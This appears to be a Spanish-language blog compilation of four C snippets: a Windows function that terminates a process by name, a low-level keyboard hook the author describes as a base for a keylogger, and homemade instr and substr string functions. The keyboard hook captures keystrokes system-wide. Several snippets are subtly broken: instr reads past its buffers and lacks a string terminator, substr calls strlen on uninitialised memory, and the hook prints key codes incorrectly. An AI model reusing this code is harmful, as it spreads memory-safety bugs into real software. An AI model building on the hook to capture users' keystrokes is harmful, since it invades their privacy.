Se describe lo que hace cada funcion en los comentarios del código.
Sugerencias dudas o críticas en los comentarios.

C - Función TerminarProceso

Esta función que hize utiliza el API TerminateProcess para terminar un proceso en windows, la función esta basada en un código que muestra los procesos de p0is0n, con esto podrás terminar un proceso desde C con tan solo saber el nombre del proceso, saludos!

Basada en la funcion de mostrar los procesos de p0is0n, así que la gran parte de los créditos van para él (:
Código:
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
/**************************
* Coder: Linkgl           *
* Basada en al funcion    *
* de p0is0n               *
**************************/
BOOL TerminarProceso(char *nombre)
{
  PROCESSENTRY32 pProceso; //estructura del proceso
  HANDLE hTproceso,hFinal; //Handles necesarios
  DWORD id;
  hTproceso=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  Process32First(hTproceso,&pProceso);
  while(Process32Next(hTproceso,&pProceso))
  {
    if(strcmp(nombre,pProceso.szExeFile)==0)
    {
      id=pProceso.th32ProcessID;
      hFinal=OpenProcess(PROCESS_TERMINATE,TRUE,id);
      TerminateProcess(hFinal,0);
      CloseHandle(hTproceso);
      CloseHandle(hFinal);
      return TRUE;
    }
  }
  return FALSE;
}

int main(int argc, char *argv[])
{
  if(TerminarProceso("firefox.exe")==TRUE)
    printf("Proceso terminado");
  else
    printf("No se encontro el proceso");
  getchar(); 
  return 0;
}//Compilado con mingw en Dev C++
 Dudas, sugerencias o críticas en los comentarios!.

C - Detectar teclas presionadas con HOOK's

Este código acontinuación usa la API SetWindowsHookEx para crear un HOOK y despues crear un procedimiento que detecta las teclas pulsadas con el bucle de mensajes de windows winapi32, este código puede ser usado hasta para la base de un keylogger, claro esta que necesitas hacer exepciones para detectar teclas o caracteres especiales (con un switch en el procedimiento basta), usa WH_KEYBOARD_LL para trabajar a "LowLevel", Sin más teoría el código.
Código:
/***********************************
* Coder: Linkgl                    *
* Thanks: The swash                *
* Exaple for hooks WH_KEYBOARD_LL  *
* (LowLevel)                       *
***********************************/
#include <windows.h>
#include <stdio.h>
//declaramos el hook publico
HHOOK hHook;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   //llamamos a la estructura y la hacemos puntero para lParam
   KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam;
   //PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
   if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
     return CallNextHookEx(0, nCode, wParam, lParam);
   if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla
       printf("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *

   return CallNextHookEx(0, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
   MSG msg;
   //seteamos el hook
   hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
   //Bucle de mensajes que usamos en las winapi
   while(TRUE==GetMessage(&msg, NULL, 0, 0))
   {
     TranslateMessage(&msg);
     DispatchMessage(&msg);
   }
   //eliminamos el hook
   UnhookWindowsHookEx(hHook);
}
Comentarios, críticas o dudas en los comentarios!

C - Funcion Instr o StrPos en C

Bueno este code salió intentando ayudar a the swash en una cosilla, creditos a the swash, la función simula strpos o instr de Visual Basic, para los que no saben la función busca una cadena dentro de otra y si la encuentra retorna la posicion de su primer caracter, si no retorna -1 (en este caso)

Nota: Para aplicar la función en un archivo binario necesitas pasar las variables
Código:
  int iCadena=strlen(cadena);
  int iNecesitada=strlen(necesitada);

Como parámetro en la función
Código:
int instr(char *cadena,char *necesitada,int iCadena,int iNecesitada)
Y en vez de usar strcmp usar memcmp...
Bueno aquí la función
Código:
/**********************
* Instr o Strpos      *
* Coder: Linkgl       *
* Greatz: The Swash   *
**********************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//prototipo
int instr(char *cadena,char *necesitada);

//->uso
int main()
{
  int x=instr("linkholalink","hola");
  printf("%d",x);
  return 0;
}

//funcion
int instr(char *cadena,char *necesitada)
{
  int iCadena=strlen(cadena);
  int iNecesitada=strlen(necesitada);
  int i;
  char *temp=(char *)malloc(iNecesitada);
  for(i=0;i<iCadena*iNecesitada;i++)
  {
    memcpy(temp,cadena+i,iNecesitada);
    if(strcmp((char *)necesitada,(char *)temp)==0)
      return i+1;
  }
  return -1;
}//Compilado en Mingw - IDE: Dev C++

Retorna la posicion en la que se encuentra la cadena, en este caso nos retorna 5 y si no la encuentra retorna -1

Comentarios sugerencias y críticas en los comentarios!.

C - Mid o Subtr en C, Ejemplo

Bueno esta función imita a substr de PHP o mid de Visual Basic, en C, la función para los que no saben se encarga de cortar una cadena desde determinada posición hasta una longitud dada.
Parámetros:
substr(string,posicion_inicial,longitud)

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/***********************************
* Coder: Linkgl                    *
* Funcion:                         *
* Substr(cadena, inicio, longitud) *
* Indetectables.net/foro           *
* funcion-linkgl.blogspot.com      *
* Fecha:17/12/10                   *
***********************************/
char *substr(char * szCadena,int dwInicio,int dwLongitud)
{
  int i;
  char *szNueva=(char *)malloc(strlen(szCadena));
  for(i=dwInicio;i<dwInicio+dwLongitud;i++)
    szNueva[strlen(szNueva)]=szCadena[i];
  return szNueva;
}
//->implementacion
int main ()
{
  printf("La cadena es : %s",substr("http://indetectables.net/foro/",7,13)); //Devuelve "indetectables" sin comillas
  getchar();
  return 0;
}
//Compilado con GCC

Dudas comentarios o críticas respecto al código en los comentarios intentaré responder a todas lo más rápido posible.